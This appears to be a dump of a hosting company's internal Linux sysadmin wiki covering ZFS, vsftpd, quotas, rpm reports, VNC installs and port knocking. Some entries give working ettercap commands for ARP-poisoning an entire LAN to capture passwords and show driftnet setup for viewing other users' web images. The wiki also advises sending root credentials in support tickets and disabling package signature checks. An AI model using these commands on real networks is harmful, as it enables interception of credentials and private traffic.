64 2 10 wbs-connect car2 atlanta1 le 0 0 10 33 6 30 3 28 5 33 6 1 4 11 ve40 core01a tpa sagonet net 0 0 10 41 2 41 9 39 8 44 7 1 3 12 gige1 ds-b 03 tpa sagonet ne 0 0 10 40 4 41 9 40 4 44 5 1 1 13 moria 0 0 10 42 0 42 6 41 7 43 7 0 7 speed duplex issues speed duplex issues speed duplex issues allright you have run the above tests using wget and nttcp and are seeing that server to server transfer speeds are extremely slow like 1 mb sec or something really silly there is a 99 chance the issue is due to a speed duplex setting mismatch between your server and the switch to determine what your card and link is currently running at use root tardis web # mii-tool eth0 negotiated 100basetx-fd link ok eth1 no link some distros do not have that installed by default but do have ethtool root tardis web # ethtool eth0 settings for eth0 supported ports tp mii fibre supported link modes 10baset half 10baset full 100baset half 100baset full supports auto-negotiation yes advertised link modes 10baset half 10baset full 100baset half 100baset full advertised auto-negotiation yes speed 100mb s duplex full port twisted pair phyad 1 transceiver internal auto-negotiation on supports wake-on pumbag wake-on d current message level 0x000040c5 16581 link detected yes you can reconfigure the link with root tardis web # mii-tool -f 100basetx-fd eth0 root tardis web # mii-tool -rr resetting the transceiver restarting autonegotiation resetting the transceiver restarting autonegotiation root tardis web # root tardis web # mii-tool eth0 negotiated 100basetx-fd link ok eth1 no link note mii-tool - and man mii-tool or man ethtool will give all the options if you set this incorrectly you can lock yourself out if that happens you an attempt a remote reboot from the customer portal and try other settings if you still can\'t resolve it open a ticket and please provide your root log in credentials so we can trouble shoot the link settings '),(88,'zfs file system',' intro zfs was developed by sun microsystems as a new file system is was designed from the ground up as an entirely new fs without relaying on legacy models it is garnering more notice these days and its design may be the filesystem of the future - zfs or some derivative many well be in wide deployment in the near future it is like a jbod lvm software raid that actually works on steroids that can grow in capacity like the plague it is extremely impressive with many features zetabyte capacity - it can store all information we humans are likely to have for the next few million years no practical limits on number of directories files in a directory size of files etc super easy raid - create a raid from multiple devices with one command zpools - just add devices to a pool regardless of physical drive sizes no partitioning no formatting - just add it dynamic capacity - it does not use partitions with fixed sizes but rather you can create as many file systems as you like - all will dynamically expand as needed easily set quotas to control how big they get if you like similar to lvm but better self healing - uses ecc like correction on the fly fsk not needed - using cop-on-write and mirroring of devices in a zpool essentially eliminates the need for fsck - though there is a zpool scrub tool available create instant filesystem backups - snapshots ro and clones rw of an entire filesystems are extremely fast to make backup a user directory of mysql directory in a few seconds limitations unfortunately although zfs is open-source from sun it is not gpl and therefor not supported in the linux kernel at this time it can however be pretty easily used in linux through fuse if you don\'t want to use fuse you can also consider opensolaris - which supports zfs nativly opensolaris is free for download the ability to shrink zpools in not supported in the current 4 0 build - it will be added soon update here is a wonderful presentation on zfs called zfs the last word in file systems by on of the engineers on sun sun\'s zfs team jeff bonwick and bill moore media zfs_last pdf i found this on a great sun blog site video demos video demos video demos super fast centos 4 6 5 0 install super fast centos 4 6 5 0 install super fast centos 4 6 5 0 install either use dkms-fuse with the stock centos kernel or use the centos-plus kernel that contains the fuse kernel module if you install the centos plus kernel you should not need dkms and dkms-fuse to build the kernel module it should already be loaded for you fuse can be installed with your package manager its available in rpmforge for centos also you will need additional packages to compile zfs later so might as well get them now too and might as well get sshfs if you are installing fuse as its too cool to be without to install fuse and the kernel module step 1 set up the rpmforge repo - just wget the proper rpmforge rpm from here import the gpg key for rpmforge for you centos version step 2 now install the packages #yum install fuse fuse-devel libaio libaio-devel scons sshfs #yum install dkms dkms-fuse not needed for centos plus kernel #modprobe fuse note the dmks package builds the fuse kernel module note there is a service that will build the fuse kernel module for you which could be handy #service dkms_autoinstaller start ensure the module is loaded with lsmod grep fuse step 3 installing zfs now download and build zfs itself - it it\'s easy if trouble see sections later in wiki #wget bunzip2 the file tar -xvf it and cd to src directory #scons #scons install cd to src zfs-source # run sh & # zpool list additional zfs install notes additional zfs install notes additional zfs install notes installing zfs on fuse per this site there are some point to consider disable disk write caching on your disks with hdparm and sdparm very important create and import your pools with devices from dev disk by-id highly recommended build only from the latest stable branch see below run on system with 1gb or more zfs will use 128mb in operation installing zfs for fuse can now occur wget the latest stable source from wget the general project download page is unzip the source and cd to the src directory compile by running scons then scons install if you get various compile errors lib libzpool flushwc c 118 error win_flush_cache\' undeclared first use in this function lib libzpool flushwc c 118 error each undeclared identifier is reported only once lib libzpool flushwc c 118 error for each function it appears in scons lib libzpool build-user flushwc o error 1 scons building terminated because of errors verify you have downloaded a stable build try another version - the mercurial build current did not compile for me but the 4 0 beta 1 did just fine using zfs using zfs using zfs starting zfs start zfs with the start sh as root should be in src zfs-fuse you can move this script as use it as an init script configure with chkconfig etc setting up zfs drives you need to create a few files to use to build the zpool since linux does not have a built in mkfile command used in the tutorial create the files using dd then set the sticky bit with chmod ref #dd if dev zero of disk1 bs 1024k count 1000 #chmod t disk1 make 4 such files you should then have root tardis zfs # ls -lha total 4 0g drwxr-xr-x 3 root root 4 0k may 11 18 25 drwxr-xr-x 8 root root 4 0k may 11 18 11 -rw-r--r-t 1 root root 1000m may 11 18 16 disk1 -rw-r--r-t 1 root root 1000m may 11 18 19 disk2 -rw-r--r-t 1 root root 1000m may 11 18 20 disk3 -rw-r--r-t 1 root root 1000m may 11 18 25 disk4 drwx------ 2 root root 16k may 11 18 09 lost found zfs gui zfs gui zfs gui on solaris you can use a web gui front end to manage zfs # usr sbin smcwebserver start or svcadm enable svc system webconsole console in solaris express then connect to through your browser to per this site these packages are required # pkginfo grep sunwzfsg application sunwzfsgr zfs administration for sun java tm web console root application sunwzfsgu zfs administration for sun java tm web console usr zfs tutorial zfs tutorial zfs tutorial a good general tutorial however see below for steps to install fuse and zfs which is not covered here misc zfs links misc zfs links misc zfs links --- didn\'t work use how to compile zfs from source rpms and install fuse and the development and kernal sources zfs tools zfs tools zfs tools zrm to backup mysql databases using zfs snapshots related topics related topics related topics fuse fuse module '),(89,'vsftp config',' dis-allow ssh but allow ftp user connections set the shell in etc passed to sbin nologin cisco x 500 500 home cisco sbin nologin edit vsftp conf to include # cat etc vsftpd vsftpd conf chroot_list_enable yes chroot_list_file etc vsftpd chroot_list # cat etc vsftpd chroot_list user add the allowed user to etc vsftpd userlist additional user acl otions # the list of users to give access userlist_file etc vsftpd userlist # this list is on userlist_enable yes # it is not a list of users to deny ftp access userlist_deny no add user to ftp group also make the member of ftp group ftp is the primary group of that user commands for new user useradd -g ftp -s sbin nologin for old user usermod -g ftp -s sbin nologin verify the groups the user is in # id username additional usermod info usermod example - add a existing user to existing group add existing user tony to ftp supplementary secondary group with usermod command using -a option i e add the user to the supplemental group s use only with -g option # usermod -a -g ftp tonychange existing user tony primary group to www # usermod -g www tony '),(90,'cisco security class',' fundamentals of network security media resources hacking democracy video on hbo about hacking in to change a democratic vote signal magazine - crypto equipment for military etc with past issues on line network monitoring rspan for port monitoring across switches design models cisco design models the security model of secure monitor test improve centered around defined security policies pdioo the design model plan design implement operate optimize is the cisco style system life cycle model for requirements definition through design and implementing networks network access control layer 2 attacks layer 2 attacks layer 2 attacks preso on layer 2 attacks dhcp network audit tool and dhcp dos attack tool ettercap is frighteningly easy to use sniff password arp poisoning ssh 1 hijacking etc this book is also available in pdf form ; very interesting book on layer 2 security yersinia is a network tool designed to take advantage of some weakeness in different network protocols it pretends to be a solid framework for analyzing and testing the deployed networks and systems you can use this for vlan attacks to construct packets with multiple vlan ids etc misc references misc references misc references internetworking with tcp ip vol 1 5th edition hardcover by douglas e comer author '),(91,'mounting remote file systems sshfs',' sshfs is a filesystem client based on the ssh file transfer protocol since most ssh servers already support this protocol it is very easy to set up i e on the server side thereu8e28099s nothing to do on the client side mounting the filesystem is as easy as logging into the server with ssh sshfs is a tool which allows you to mount file systems from one server onto another over the network it uses ssh so the connection and all traffic is encrypted it requires fuse to run which is relatively easy to install fuse allows you to use various file systems in user space if you are using the centos extras kernel you already should have the kernel module otherwise you can install fuse and the module using the steps given in zfs file system once fuse is installed you can just yum install sshfs sshfs basics mounting filesystems #sshfs user server com mountpoint if you want to automount them in ect fstab the entry would be like sshfs#novas timelordz com fileserver novas torrents fuse user allow_other port 1971 reconnect 0 0 umounting #fusermount -u mountpoint user groups & permissions user groups & permissions user groups & permissions you can add users to the fuse group for allowing access to fuse mounted filesystems etc references references references '),(92,'cygwin bash for windows',' you can get cygwin from here ssh starting ssh server net start sshd or cygrunsrv --start sshd click here on how to stop the sshd service if the service fails to start try chown system etc ssh chown system var empty net start sshd stopping ssh server net stop sshd or cygrunsrv --stop sshd apache apachectl start usr sbin apachectl etc apache httpd conf additional bash tools w top and many other bash tools can be installed from the package procps '),(93,'false rpm database errors',' ever have this happen when trying to install rpms on customers boxes root ns downloads # rpm -uvh some_silly_package rpm error cannot open packages index using db3 - permission denied 13 error cannot open packages database in var lib rpm you then of course proceed with rpm -v --rebuilddb etc etc etc and it never resolves well sometimes it does of course but what if it does not i found a very interesting thing that can cause this - and it is not a problem with the rpm database at all a possible reason is the customer has installed les a tool from r-fx networks same guys that make sim and apf this will prevent everyone except root from making rpm changes and sets various things to immutable this however can cause issues that appear to be rpm database issues to disable this run #les -da you can now install rpms and - amazing - no errors options usage usr local sbin les option off on;0 1 -da --disable-all disable all options -ea --enable-all enable all options -sb --secure-bin set root only execution of critical binaries -sp --secure-path set root only traversal of critical paths -sr --secure-rpmpkg set immutable on core rpm package binaries -so --secure-prof set immutable on interactive login profiles -sd --secure-devel set access to devel utils for group deva & root this first link has some good steps to take on trouble shooting valid corrupt rpm database issues which can be handy the les security tool is available from '),(94,'wiki markup tips',' general text effects \'s_guide _editing_overview note well will make bullet points like this # will create basic outlining ## with subsections ## and soforth you can sue either # or the same way note well here is a single bullet # here is text offset with numbers ## here is the next subsection ## and so forth here is text offset with bullets here is the next part and here is the next '),(95,'ssh secure shell',' ssh control hotkeys then help menu then disconnect session then # list forwarded connections ncsa site on ssh error oo many authentication failures for username '),(96,'linux file system quotas',' general info to check quotas of a user type repquota -a this will show a list of all users and the quotas assigned to them in kb to show the limits in mb use usr sbin repquota -a -s report for user quotas on device dev md3 block grace time 7days; inode grace time 7days block limits file limits user used soft hard grace used soft hard grace ---------------------------------------------------------------------- root -- 32836 0 0 4 0 0 ed -- 6617996 6900000 7000000 17397 0 0 deb -- 788068 0 0 11509 0 0 matt -- 44 0 0 11 0 0 while the report is easy to read a few points should be explained the -- displayed after each user is a quick way to see whether the block or inode limits have been exceeded if either soft limit is exceeded a will appear in place of the -; the first character representing the block limit and the second representing the inode limit to change the quota for a user type usr sbin edquota username this command will bring you into a vi editor so you can edit the user user\'s quotas change the soft and hard limits to what the customer is provisioned for the soft limit should be about 10 less than the hard limit if the soft limit is exceeded the customer will receive and email notification see below you don\'t have to be exact on these limits if you are not sure of the hard limits you can calculate them or look at the limits for another customer who has the same amount of space and use the same calculating the block number is easy because the quota system uses 1kb per block therefore you just need to convert the amount of space to kilobytes e g 10gb 10485760 you get this by doing the following 10gb x 1024mb gb x 1024kb mb 10485760kb disk quotas for user user1 uid 501 filesystem blocks soft hard inodes soft hard dev hda5 1944 0 0 120 0 0 blocks 1k blocks inodes number of entries in directory file soft max number of blocks inodes user may have on partition before warning is issued and grace persiod countdown begins if set to 0 zero then no limit is enforced hard max number of blocks inodes user may have on partition if set to 0 zero then no limit is enforced user notifications & soft limits user notifications & soft limits user notifications & soft limits we want users to be notified if they approach their limits if they cross the soft limit they should receive an email after the grace period all you need do when making updating accounts is 1 ensure the soft limit is set to 10 - the hard limit just eye ball it 2 verify there is a forward file in the user user\'s home directory this is automagically created if you use the addbackupuser sh script - normally in home sagotech the grace period is enabled globally not per user so you don\'t need to worry about that but can check it with usr sbin edquota -t soft limit and hard limits soft limit indicates the maximum amount of disk usage a quota user has on a partition when combined with grace period it acts as the border line which a quota user is issued warnings about his impending quota violation when passed hard limit works only when grace period is set it specifies the absolute limit on the disk usage which a quota user can\'t go beyond his hard limit grace period grace period is configured with the command edquota -t grace period is a time limit before the soft limit is enforced for a file system with quota enabled time units of sec onds min utes hour s day s week s and month s can be used this is what you\'ll see with the command edquota -t system response linux kernel 2 4 red hat 7 1 fedora grace period before enforcing soft limits for users time units may be days hours minutes or seconds filesystem block grace period inode grace period dev hda5 7days 7days running quotacheck manually running quotacheck manually running quotacheck manually note quotacheck runs at boot time automatically also users quotas are dynamically updated as additions deletions are made to the folders normally you do not have to run it manually though if the quote files are corrupt or you have manually run an fsck you may have to see man quotacheck for more info quotecheck will create new quota info files in the root of the quota enabled partition named rw------- 1 root root 17k may 27 09 08 aquota group -rw------- 1 root root 18k may 27 09 22 aquota user to run it manually ensure the mta sendmail exim etc is running first so that notifications can be sent out to check if any customers have open files usr sbin lsof grep backup #or whatever the mount point is called turn off quotas on the mount point temporarily or use force on quotacheck - not recomended root storage1 backup # sbin quotacheck -avug quotacheck quota for users is enabled on mountpoint backup so quotacheck might damage the file please turn quotas off or use -f to force checking root storage1 backup # sbin quotaoff -v dev sda9 dev sda9 backup group quotas turned off dev sda9 backup user quotas turned off if you get an error that the device is busy you may be trying to turn quotas on off when they are already so now run the quota check itself root storage1 backup # sbin quotacheck -avug quotacheck scanning dev sda9 backup get some coffee when complete turn quotas back on root storage1 cron weekly # sbin quotaon -v dev sda9 dev sda9 backup group quotas turned on dev sda9 backup user quotas turned on email notifications email notifications email notifications usr sbin warnquota -ugs - s argument will send summary in mb and not kb - email warnings are triggered by warnquota - warnquota takes its configuration in etc warnquota conf - warnquota is ran daily by default etc cron daily quota etc quotagrpadmins contains information for group admin notification note quota enabled partitions warnquota checks are specified in etc quotatab by default additional references additional references additional references red hat - general quota information quota checking script perl script to notify users over quota '),(97,'freebsd frenzy live cd',' most of us have already used the frenzy live cd in playing with it more the other day i found it actually has a lot more to it than i realized and can be a pretty useful tool - especially since most people here are bsd fanatics and love freebsd if you play around in x you will actually find it directs you by launching various terminal tools thus you learn tools you may not have known about before here are some features you may find useful x windows tools x windows tools x windows tools frenzy has x installed and you can start it just like with riplinux - just do #startx there are a lot of tools built in already check out system--- mount--- mount all unmount all you can auto mount all detected partitions in ro or rw mode sweet system--- disk--- di shows disk partition labels and mount points system--- file tools--- ms windows--- chntpw xmbmon - motherboard monitor cpu temperature etc other goodies ethereal ettercap and other networking dns sniffer tools are available system & ssh network config system & ssh network config system & ssh network config networktools--- to configure nic etc in a terminal you can also run sysinstall from here you can reconfigure things start ssh configure the interfaces etc these commands are very handy in the terminal or in an x terminal sysinstall servconf netcong another interesting command is fdisk-linux you will need to mount proc first and supply a partition name fdisk-linux dev ad01sa adding packages adding packages adding packages in addition to using portsnap as covered in steps 2 -5 of freebsd ports & cpanel installs you can also add packages directly using the very impressive bsd repos you do so using #pkg_add -r package vnc setup vnc setup vnc setup setting up frenzy for vnc acces is extremely simple 1 edit root vnc xstartup and change the window manager from twm to xfce 2 start the vnc server #vncserver 3 it will tell you the ip and display number 4 connect to it using vncviewer kill it with #vncserver -kill 1 to kill display 1 '),(98,'iptables - pain on a stick',' some stuff to know about iptables and how to configure it '),(99,'driftnet and webcollage',' intro driftnet is an amazingly clever tool to see what web images are being viewed by users on your local network from the man page driftnet watches network traffic and picks out and displays jpeg and gif images for display it is an horrific invasion of privacy and shouldnu8e28099t be used by anyone anywhere it has been described as u8e28098a graphical tcpdump 8 u8e28099 u8e28098etherpeg for unixu8e28099 and called all sorts of nasty names by people on freshmeat it is also possible to use driftnet to capture mpeg audio data from the network and play it through a player such as mpg123 1 webcollage is usually installed with xscreensaver and can be used to import images from driftnet into a screensaver a deadly duo installing #sudo apt-get install xscreensaver-data xscreensaver-data-extra driftnet start driftnet and specify your interface if needed #driftnet -i eth2 to configure xscreensaver launch xscreensaver and goto the section for webcollage if it says not installed verify you have installed the additional packages above in xscreensaver click on settings for webcollage then advanced in the command line box you can specify to use driftnet as the source for images with something like webcollage -root -driftnet \' usr bin driftnet -i eht2\' references where webcollage comes from this is a separate project but also pretty cool '),(100,'linux package managers',' so many different ways of doing the same thing with tricky aspects to boot here are some notes regarding package managers and dependency resolution used by different distros for a summary showing how to do the most common operations on various distros see this great pacman summary rpm tricks rpm tricks rpm tricks --replacepkgs #install it anyway --oldpackage # upgrade to an older version of a package --repackage # be able to revert to prior installs note when installing repacked rpms you may need to disable digest and md5 checking for example rpm -uvh --nodigest --nomd5 var spool repackage vmware-vpxa-4 1 0-258902 i386 rpm for more info see the above linux journal article and this post rebuild an rpm from a currently install package some simple examples of using rpm query tags can be found here to remove a specific architecture if you have multiple ones installed is simply rpm -e zlib i386 or rpm -e zlib x86_64 open suse open suse open suse for a quick guide on zypper see this basic tutorial lots of options zypper is the default but smart and yast are installed by default don\'t want to use them because you are used to yum no problem just install yum though you may have to set up repos for it separately as zypper use separate repos d directories in etc zypp repos d whereas yum yum\'s are in etc yum repos d zypper lacks the equivalent to yum localinstall however smart will resolved dependencies when installing local packages smart should you need to turn off gpg signature checking smart config --set rpm-check-signatures false do what you need to do smart config --set rpm-check-signatures true yes yes - amazingly unsafe etc etc yum zypper install yum will install yum and set up repos in etc yum turn off gpg validation gpgcheck 0 in etc yum yum conf only if needed and you trust the source of the rpm of course install rpms locally and resolve needed dependencies by using yum localinstall package rpm note that you must first install yum-utils to have the localinstall feature verify rpms verify rpms verify rpms to ensure an rpm you downloaded is not corrupted verify its self-consistency with rpm -k --nopgp rpm rpm gpg signatures rpm gpg signatures rpm gpg signatures if a package is not signed you can sign it yourself or turn of gpgcheck in yum conf in order to sign packages you need to configure a gpg key and then create a file in the users home directory which contains some environmental variables used by gpg to sign packages 1 run gpg --gen-key to create a gpg key which will be stored in gnupg in your home directory 2 to see the list of keys in your key ring run gpg --list-keys which will produce output similar to pub 1024d 34e16df5 2008-11-16 uid joe blow gpg key to sign stuff locally sub 2048g 7031624d 2008-11-16 2 create an rpmmacros file in the home directory which contains _signature gpg _gpg_path root gnupg _gpg_name 34e16df5 _gpgbin usr bin gpg note the 34e16df5 value is the pub key id given in the gpg --list-keys output above to verify the signature of an rpm use rpm --checksig u8e28093verbose package rpm for additional information on gpg and rpms see creating yum repo server creating yum repo server creating yum repo server instructions for creating your own yum repo server '),(101,'ettercap sniffer',' invoking ettercap #ettercap -t -m arp remote 192 168 1 1 192 168 1 100 invokes with -t text interface also available are -c curses and -g gui launches an arp poisoning attack between the two designated systems a quick how to for text curses and gui modes can be found at text mode this is the easiest to use and i think the easiest on the eye to arp poison the whole lan capturing passwords as you go use # ettercap -tq -m arp remote t text mode q quiet - without this you\'ll see the raw packets which can be noisy and annoying m man-in-the-middle arp arp poisoning remote forward packets destined for the wan internet whatever empty target specification; i e all hosts use \'q\' to quit if you want to only do hosts 10 0 0 3 10 0 0 5 10 0 0 6 and 10 0 0 7 then you could use # ettercap -tq -m arp remote 10 0 0 3 5-7 or # ettercap -tq -m arp remote 10 0 0 3 10 0 0 5-7 curses mode this is the one with the cursed interface use # ettercap -c and then select the following options sniff- unified sniffing eth0 or whatever you i f spec is hosts- scan for hosts start- start sniffing mitm- arp poisoning remote view- connections mitm- stop mitm start- stop sniffing start- exit to quit gtk mode this is the one with the gtk interface use # ettercap -g then follow the same steps as for the cursed interface kev _________________ _please_ don\'t play on other people people\'s networks; you wouldn\'t like it if they played on yours filters filters filters to make filters to inspect and re-craft traffic see this example of making a filter in ettercap also see the forums at remote exploit and the ettercap forum for additional information on filters man in the middle defense man in the middle defense man in the middle defense this site contains arpwatch which allows you to monitor and log ip to arp mapping occuring on layer 2 and thus detect arp poisoning and man in the middle attacks #wget references references references pretty good intro information here etc '),(102,'rpm install timeline report',' system package timeline what packages where installed last when exactly and in what sequence what just happened with this server anyway i bet someone installed something sure yum log show things installed with yum but excludes manually installed rpms frequently the cause of the trouble now or maybe the yum log is gone or you don\'t trust it perhaps some script kiddie just rooted the box and rpm installed some interesting things etc maybe some rpms were just updated but not using yum etc my timeline vision i wanted to make a command that would show in reverse sequence by year then month day and time all in correct order with no jumping around in actual complete reverse chronological order all rpms installed on a system by looking at the head of this output you could see exactly what rpms had been recently installed going backward in time day by day and hour by hour to the original system install if necessary the idea was to create a complete rpm install time line and have it show all installs relative to each other with no anarchronisms it was a bit trickier than i thought to get the sort order correct but after playing with the arguments i had it worked out also fun was using the rpm query tags feature --qf so i could select out only the attributes i wanted displayed - the rpm name version and date of install - ignoring all else for a very concise list this does the trick callandor # rpm -qa --qf \' installtime date installed name version n\' awk \' print 5 2 3 1 4 6 7 8 \' sort -k 1 1nr -k 2 2mr -k 3 3nr -k5 5dr head -10 note - date format see the section below on date format - this assumes you are using posix dates and times if you are not then the above will likely not work and you will get no output change your environment variables to posix or modify the awk statement for your environment this will list every single rpm install registered in the database in reverse sequence 2008 may 30 fri 18 12 49 installed yum-utils 1 1 6 2008 may 29 thu 20 39 36 installed yumex 1 9 11 2008 may 29 thu 20 39 33 installed yum 3 2 4 2008 may 29 thu 20 39 30 installed yum-metadata-parser 1 1 2 2008 may 29 thu 20 39 28 installed python-urlgrabber 3 1 0 2008 may 29 thu 20 36 54 installed ettercap-ng 0 7 3 2008 may 29 thu 20 35 52 installed libexpat0 1 95 8 2008 may 29 thu 20 33 50 installed libnet 1 1 2 1 2008 may 29 thu 20 19 54 installed knockd 0 5 2008 may 29 thu 20 19 52 installed knock 0 5 the posix sort tags are explained here -k 1 1nr sort first on field one year n umerically r everse order -k 2 2mr sort next by field two month - but not alphabetically not apr july june may but rather in m onth order but again r eversed - so nice of them to include a month sorting feature -k 3 3nr sort next by field three day again in numeric order and reversed - puts all days in actual calendar order -k 5 5dr sort install time as d phone book style processing - ignore anything other than numbers and letters so ignore the seperator and r everse the order - this allows the install time to be sorted correctly down to the hour minute and second level actually you don\'t need to specify the -k5 5 part; just a closing -dr argument will do had the magic missing pieces that helped to figure this out filtering specific packages you can easily add additional grep statements to focus on specific packages rather than all installed rpms here we select out any package having to do with mysql regardless of the case of the package name last years on bottom - recent months on top callandor # rpm -qa --qf \' installtime date installed name version n\' awk \' print 5 2 3 1 4 6 7 8 \' grep -i mysql sort -k 1 1nr -k 2 2mr -k 3 3nr -k5 5dr head -40 this adds the package version number and greps my any mysql packages 2008 apr 15 tue 22 06 49 installed bytefx-data-mysql 1 2 5 2008 feb 12 tue 23 52 08 installed mysql 5 0 45 2008 feb 12 tue 23 51 05 installed mysql-client 5 0 45 2008 feb 12 tue 23 43 39 installed libmysqlclient_r15 5 0 45 2008 feb 12 tue 23 43 33 installed libmysqlclient15 5 0 45 2008 jan 23 wed 10 45 33 installed php5-mysql 5 2 5 2007 oct 28 sun 13 18 54 installed mysql-administrator 5 0r12 2007 oct 28 sun 13 17 21 installed mysql-gui-tools 5 0r12 rpm query tags you can easily add more fields from the rpm database using query tags here i am only using installtime name and version however there are dozens of tags to pick from in the rpm database you can create some pretty customized reports with them to see all the tags available rpm --quarytags date format if the above example does not execute for you ensure your date format is set to posix and not utf8 i am using posix dates to have the month name displayed etc otherwise the awk command will filter on the wrong fields and you will get no output check your bash environment variable usually called lang or lc_time to see your current setting #echo lang or #echo lc_time set it temporarily with #export lang posix to make the change permenant add this line to your bashrc file in your home directory the difference is illustrated here -rw-r----- 1 root root 460k may 31 15 21 messages this is posix date format -rw-r----- 1 root root 460k 2008-05-31 15 21 messages this is utf8 date format some great commands for environmental commands are #env #set show all current bash and environmental settings #locale will show all localization settings #locale -a shows all available languages to choose from #export lang ru_ru utf8 sets all localized settings to russian utf8 you can set each localization variable sepratly as well '),(103,'bash sorting and filtering data',' '),(104,'vnc pxe remote install',' customer os installs customers can now install centos 5 and suse themselves set up their partitions select their packages for suse etc via vnc connection to the network installer just as though they were doing it from cd we can also take advantage of this ourselves if you want to just vnc to the installer from the noc and not have to make multiple trips back to the dc especially for suse this is possible as you can start a vnc server as a boot option in the installer it is very easy you can start the pxe install on the install network like normal once the installer is up you can move them from the install vlan back onto their port and put the public ip on the interface these installs still use our sago pxe kickstart configurations as far as mirrors to use etc so you will not have to enter any of that information currently the centos one post installs removes packages and installs the alt-f8 hack just like from normal pxe procedures are slightly different for centos 5 and suse 10 3 so both are given separately procedure centos 5 installs centos 5 installs centos 5 installs 1 start the pxe install like normal choose centos5 from the first pxe menu however add these boot options #centos5 vnc vncpassword whatever 2 note if you want to use the text interface not the gui and don\'t need to have vnc you can just add the text option as a boot option #centos5 text 3 once the installer loads it will display the ip and vnc display number 1 and state you can connect using a vnc client the ip will be a 192 network ip on the install network at this point 4 change the ip on the interface with ifconfig just ctl-alt-f2 or use another tty and give it the public ip #ifconfig 66 118 140 100 #route add default gw 66 118 140 1 etc resolv conf should still have the name servers from dhcp so it should be okay 5 test that you can ping and resolve out now on the public ip you have to be able to resolve names for the mirrors so check now ping google com 7 you can now connect to the vnc server and continue the install use a vncviewer and just put in the public ip and display number #vncviewer 66 118 140 100 1 8 continue the install over vnc 9 you can of course set up partitioning etc in the gui installer then continue thorough the install the next to last screen is the running post install scripts this step can take some time so be patient the final screen is a post install release notes with a reboot button reboot now 10 after rebooting the ip will need to be permanently set so console back in and run #system-config-network or just manually make the interface file etc 11 supportd alt-f8 hack is already installed you are done suse vnc installs suse vnc installs suse vnc installs additional information on suse yast etc can be found at suse 10 3 network install 1 start the pxe install like normal select suse from the first menu however add these boot options suse vnc 1 vncpassword whatever must be 8 characters min 2 note if you want to use the text interface not the gui and don\'t need to have vnc you can just add the text option as a boot option centos5 text 3 once the installer loads it will display the ip and vnc display number 1 and state you can connect using a vnc client the ip will be a 192 network ip on the install network at this point 4 change the ip on the interface with ifconfig just ctl-alt-f2 or use another tty and give it the public ip ifconfig 66 118 140 100 route add default gw 66 118 140 1 etc resolv conf should still have the name servers from dhcp so it should be okay 5 test that you can ping and resolve out now on the public ip you have to be able to resolve names for the mirrors so check now ping google com 6 network troubleshooting mii-tool is not installed on suse but the newer ethtool is you can use this to check and set speed and duplex if needed ethtool eth0 ethtool -s ethtool etc 7 you can now connect to the vnc server and continue the install use a vncviewer and just put in the public ip and display number #vncviewer 66 118 140 100 1 also suse has a java web client so you can goto in a java capable browser - fancy 8 continue the install over vnc 9 you can of course set up partitioning etc in the gui installer then continue thorough the install 10 once at the installation summary step of the installation section you can click on the software link or click the expert tab and then the link for the section you want to modify add additional packages by clicking on software lamp stack console tools etc you can of course always add packages using yast after the install note after the first few screens the system has to reboot and then continue in vnc mode this means it will loose the ip so you have to console it and set it up again as in step 4 again then reconnect with vnc like in step 7 and continue 11 continue the install via vnc set the root pw the host name set up the permanent networking ip information gw and stuff in the installer set the ip from network settings link on the installation options screen set the default gateway here too under the routing tab of network settings 12 when complete reboot yast is now available in the shell for any other post install configuration etc 13 all suse installs should include installing the packages using yast using yast gui or zypper cli install these packages yast --- software -- software managemnet iputils mtr nano openssh vim screen wget debian remote installs debian remote installs debian remote installs vnc installs unlikely with debian ubuntu pxe boot options ubuntu pxe boot options ubuntu pxe boot options ubuntu server pxe installs on some boards will cause an error along the lines can not activate the frame buffer this eventually times out and the install continues to prevent this simply pass a boot option vga normal misc references misc references misc references novell site on doing a vnc install in vm ware '),(105,'wubi compaq notebook',' various notes about wubi and ubuntu running on my compaq evo n180 essentially the same as a compaq 2700 s video out s video out s video out the s video was not correctly recognized under 8 04 by default although displayconfig-gtk showed the secondary video source it was of type unknown and would not activate researching quickly yielded a good solution the video chipset in this notebook is root lewstherin-laptop # lspci grep ati 01 00 0 vga compatible controller ati technologies inc radeon mobility m6 ly this was using the drivers ubuntu 8 04 installed by default just install a few things first sudo apt-get install xvattr mplayer displayconfig-gtk displayconfig is just to have it you will not really use it with the following scripts here is a script and description of added it to nautilus from the above link authored by chronographer anywho here here\'s the script put it in gnome2 nautilus-scripts and then it should appear in a right click menu \'scripts oh you have to name it \'movie sh\' and then make it executable by right clicking it go to permissions and checking \'allow execution file as a program\' enjoy # bin sh xrandr --addmode s-video 800x600 xrandr --output s-video --mode 800x600 --set tv_standard ntsc xvattr -a xv_crtc -v 1 usr bin mplayer -fs xvattr -a xv_crtc -v 0 xrandr --output s-video --off you should now have video on the tv and can play videos in mplayer etc to turn off s video use this of just killall xrandr xvattr -a xv_crtc -v 0 xrandr --output s-video --off you can make this into a script too like svideo off sh and place in the scripts folder as above # bin bash xvattr -a xv_crtc -v 0 xrandr --output s-video --off installing ati driver installing ati driver installing ati driver enable audio enable audio enable audio weird audio would work from headphone jacks but not speakers first updated the kernel and put restricted drivers back in sudo apt-get install linux-image-2 6 24-18-386 sudo apt-get install linux-restricted-modules- uname -r sudo apt-get install linux-ubuntu-modules-2 6 24-18-386 unpacking linux-ubuntu-modules-2 6 24-18-386 from linux-ubuntu-modules-2 6 24-18-386_2 6 24-18 26_i386 deb setting up linux-ubuntu-modules-2 6 24-18-386 2 6 24-18 26 update-initramfs generating boot initrd img-2 6 24-18-386 '),(106,'port knocking',' port knocking is one of those gems you come across every so often its method of operation is quite simple but the uses to which it can be put are very impressive essentially port knocking allows you to grant access for ssh and other services by using a predefined sequence of tcp or udp requests to ports these ports need not be open or allowed in a firewall as the port knocking daemon runs on the link layer and will receive the request regardless of the status of the port traditional port knocking using a preset sequence of ports and single packet authentication where a single encrypted packet is sent can be used for example normally you may have a service ssh ftp etc running on a predefined port this port is always open in the firewall so the service can be reached this also means the service is always exploitable as it is reachable wouldn\'t it be nice if all ssh connections were refused from all ips unless explicitly allowed or unless they send the magic knock this way you do not need to open your ssh port in your firewall for everyone it is opened on a per ip basis only after the client sends the magic knock the standard tool for implementing traditional port knocking is knockd which is pretty easy to configure and implement knockd is available as a package for nearly all major distros and requires setting up one config file usually etc knockd conf for operation note that installing the knockd package also install the knock client the client simplifies the process of sending the magic knock to open the receiving service you do not have to use this client and can use telnet netcat or other tools to simple knock on the ports as well the traditional method offers a good layer of additional security though if traffic to the server is monitored the knock sequence could potentially be sniffed and thus replayed this is where single packet authentication can take port knocking even further using encrypted non replayable packets you can also use port knocking to run an arbitrary command on the remote server by sending the magic 